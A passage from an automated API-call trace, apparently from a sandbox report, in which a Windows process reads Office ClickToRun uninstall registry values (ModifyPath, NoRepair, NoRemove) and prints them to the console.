lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProPlusRetail.16_en-us_x-none culture=en-us version.16=16.0", lpUsedDefaultChar=0x0) returned 210 [0146.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 210 [0146.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.890] __iob_func () returned 0x7fefd702a80 [0146.890] _fileno (_File=0x7fefd702ab0) returned 1 [0146.890] _errno () returned 0xc4bb0 [0146.890] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.890] _errno () returned 0xc4bb0 [0146.890] GetFileType (hFile=0x50) returned 0x1 [0146.890] lstrlenW (lpString="\n") returned 1 [0146.890] GetConsoleOutputCP () returned 0x1b5 [0146.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.890] GetConsoleOutputCP () returned 0x1b5 [0146.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.890] GetProcessHeap () returned 0x2e0000 [0146.891] GetProcessHeap () returned 0x2e0000 [0146.891] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.891] GetProcessHeap () returned 0x2e0000 [0146.891] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1aa [0146.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.891] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.891] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xfa) returned 0x0 [0146.891] GetProcessHeap () returned 0x2e0000 [0146.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xfc) returned 0x2fd170 [0146.891] GetProcessHeap () returned 0x2e0000 [0146.891] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.891] GetProcessHeap () returned 0x2e0000 [0146.891] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.891] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xfa | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", pcbData=0x23f670*=0xf8) returned 0x0 [0146.891] __iob_func () returned 0x7fefd702a80 [0146.891] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.891] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.891] _fileno (_File=0x7fefd702ab0) returned 1 [0146.891] _errno () returned 0xc4bb0 [0146.891] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.891] _errno () returned 0xc4bb0 [0146.891] GetFileType (hFile=0x50) returned 0x1 [0146.891] lstrlenW (lpString=" ") returned 4 [0146.891] GetConsoleOutputCP () returned 0x1b5 [0146.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.891] GetConsoleOutputCP () returned 0x1b5 [0146.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.892] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.892] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.892] lstrlenW (lpString="ModifyPath") returned 10 [0146.892] __iob_func () returned 0x7fefd702a80 [0146.892] _fileno (_File=0x7fefd702ab0) returned 1 [0146.892] _errno () returned 0xc4bb0 [0146.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.892] _errno () returned 0xc4bb0 [0146.892] GetFileType (hFile=0x50) returned 0x1 [0146.892] lstrlenW (lpString="ModifyPath") returned 10 [0146.892] GetConsoleOutputCP () returned 0x1b5 [0146.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.892] GetConsoleOutputCP () returned 0x1b5 [0146.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0146.892] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0146.892] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.892] __iob_func () returned 0x7fefd702a80 [0146.892] _fileno (_File=0x7fefd702ab0) returned 1 [0146.892] _errno () returned 0xc4bb0 [0146.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.892] _errno () returned 0xc4bb0 [0146.892] GetFileType (hFile=0x50) returned 0x1 [0146.892] lstrlenW (lpString=" ") returned 4 [0146.892] GetConsoleOutputCP () returned 0x1b5 [0146.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.893] GetConsoleOutputCP () returned 0x1b5 [0146.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.893] __iob_func () returned 0x7fefd702a80 [0146.893] _fileno (_File=0x7fefd702ab0) returned 1 [0146.893] _errno () returned 0xc4bb0 [0146.893] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.893] _errno () returned 0xc4bb0 [0146.893] GetFileType (hFile=0x50) returned 0x1 [0146.893] lstrlenW (lpString="REG_SZ") returned 6 [0146.893] GetConsoleOutputCP () returned 0x1b5 [0146.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.893] GetConsoleOutputCP () returned 0x1b5 [0146.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.894] __iob_func () returned 0x7fefd702a80 [0146.894] _fileno (_File=0x7fefd702ab0) returned 1 [0146.894] _errno () returned 0xc4bb0 [0146.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.894] _errno () returned 0xc4bb0 [0146.894] GetFileType (hFile=0x50) returned 0x1 [0146.894] lstrlenW (lpString=" ") returned 4 [0146.894] GetConsoleOutputCP () returned 0x1b5 [0146.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.894] GetConsoleOutputCP () returned 0x1b5 [0146.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.894] __iob_func () returned 0x7fefd702a80 [0146.894] _fileno (_File=0x7fefd702ab0) returned 1 [0146.894] _errno () returned 0xc4bb0 [0146.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.894] _errno () returned 0xc4bb0 [0146.894] GetFileType (hFile=0x50) returned 0x1 [0146.894] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us") returned 123 [0146.894] GetConsoleOutputCP () returned 0x1b5 [0146.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 123 [0146.894] GetConsoleOutputCP () returned 0x1b5 [0146.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", lpUsedDefaultChar=0x0) returned 123 [0146.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 123 [0146.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.895] __iob_func () returned 0x7fefd702a80 [0146.895] _fileno (_File=0x7fefd702ab0) returned 1 [0146.895] _errno () returned 0xc4bb0 [0146.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.895] _errno () returned 0xc4bb0 [0146.895] GetFileType (hFile=0x50) returned 0x1 [0146.895] lstrlenW (lpString="\n") returned 1 [0146.895] GetConsoleOutputCP () returned 0x1b5 [0146.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.895] GetConsoleOutputCP () returned 0x1b5 [0146.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.895] GetProcessHeap () returned 0x2e0000 [0146.895] GetProcessHeap () returned 0x2e0000 [0146.895] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.895] GetProcessHeap () returned 0x2e0000 [0146.895] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.895] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.896] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.896] GetProcessHeap () returned 0x2e0000 [0146.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.896] GetProcessHeap () returned 0x2e0000 [0146.896] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.896] GetProcessHeap () returned 0x2e0000 [0146.896] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.896] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.896] __iob_func () returned 0x7fefd702a80 [0146.896] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.896] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.896] _fileno (_File=0x7fefd702ab0) returned 1 [0146.896] _errno () returned 0xc4bb0 [0146.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.896] _errno () returned 0xc4bb0 [0146.896] GetFileType (hFile=0x50) returned 0x1 [0146.896] lstrlenW (lpString=" ") returned 4 [0146.896] GetConsoleOutputCP () returned 0x1b5 [0146.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.896] GetConsoleOutputCP () returned 0x1b5 [0146.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.896] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.896] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.896] lstrlenW (lpString="NoRepair") returned 8 [0146.896] __iob_func () returned 0x7fefd702a80 [0146.896] _fileno (_File=0x7fefd702ab0) returned 1 [0146.897] _errno () returned 0xc4bb0 [0146.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.897] _errno () returned 0xc4bb0 [0146.897] GetFileType (hFile=0x50) returned 0x1 [0146.897] lstrlenW (lpString="NoRepair") returned 8 [0146.897] GetConsoleOutputCP () returned 0x1b5 [0146.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.897] GetConsoleOutputCP () returned 0x1b5 [0146.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0146.897] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.897] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.898] __iob_func () returned 0x7fefd702a80 [0146.898] _fileno (_File=0x7fefd702ab0) returned 1 [0146.898] _errno () returned 0xc4bb0 [0146.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.898] _errno () returned 0xc4bb0 [0146.898] GetFileType (hFile=0x50) returned 0x1 [0146.898] lstrlenW (lpString=" ") returned 4 [0146.898] GetConsoleOutputCP () returned 0x1b5 [0146.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.898] GetConsoleOutputCP () returned 0x1b5 [0146.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.898] __iob_func () returned 0x7fefd702a80 [0146.898] _fileno (_File=0x7fefd702ab0) returned 1 [0146.898] _errno () returned 0xc4bb0 [0146.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.898] _errno () returned 0xc4bb0 [0146.898] GetFileType (hFile=0x50) returned 0x1 [0146.898] lstrlenW (lpString="REG_DWORD") returned 9 [0146.898] GetConsoleOutputCP () returned 0x1b5 [0146.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.899] GetConsoleOutputCP () returned 0x1b5 [0146.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.899] __iob_func () returned 0x7fefd702a80 [0146.899] _fileno (_File=0x7fefd702ab0) returned 1 [0146.899] _errno () returned 0xc4bb0 [0146.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.899] _errno () returned 0xc4bb0 [0146.899] GetFileType (hFile=0x50) returned 0x1 [0146.899] lstrlenW (lpString=" ") returned 4 [0146.899] GetConsoleOutputCP () returned 0x1b5 [0146.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.899] GetConsoleOutputCP () returned 0x1b5 [0146.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.899] __iob_func () returned 0x7fefd702a80 [0146.899] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.899] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.899] _fileno (_File=0x7fefd702ab0) returned 1 [0146.899] _errno () returned 0xc4bb0 [0146.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.900] _errno () returned 0xc4bb0 [0146.900] GetFileType (hFile=0x50) returned 0x1 [0146.900] lstrlenW (lpString="0x0") returned 3 [0146.900] GetConsoleOutputCP () returned 0x1b5 [0146.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.900] GetConsoleOutputCP () returned 0x1b5 [0146.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.900] __iob_func () returned 0x7fefd702a80 [0146.900] _fileno (_File=0x7fefd702ab0) returned 1 [0146.900] _errno () returned 0xc4bb0 [0146.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.900] _errno () returned 0xc4bb0 [0146.900] GetFileType (hFile=0x50) returned 0x1 [0146.900] lstrlenW (lpString="\n") returned 1 [0146.900] GetConsoleOutputCP () returned 0x1b5 [0146.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.900] GetConsoleOutputCP () returned 0x1b5 [0146.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.901] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.901] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.901] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.901] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.901] GetProcessHeap () returned 0x2e0000 [0146.901] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.901] __iob_func () returned 0x7fefd702a80 [0146.901] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.901] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.901] _fileno (_File=0x7fefd702ab0) returned 1 [0146.901] _errno () returned 0xc4bb0 [0146.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.901] _errno () returned 0xc4bb0 [0146.901] GetFileType (hFile=0x50) returned 0x1 [0146.901] lstrlenW (lpString=" ") returned 4 [0146.901] GetConsoleOutputCP () returned 0x1b5 [0146.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.902] GetConsoleOutputCP () returned 0x1b5 [0146.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.902] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.902] lstrlenW (lpString="NoRemove") returned 8 [0146.902] __iob_func () returned 0x7fefd702a80 [0146.902] _fileno (_File=0x7fefd702ab0) returned 1 [0146.902] _errno () returned 0xc4bb0 [0146.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.902] _errno () returned 0xc4bb0 [0146.902] GetFileType (hFile=0x50) returned 0x1 [0146.902] lstrlenW (lpString="NoRemove") returned 8 [0146.902] GetConsoleOutputCP () returned 0x1b5 [0146.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.902] GetConsoleOutputCP () returned 0x1b5 [0146.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", 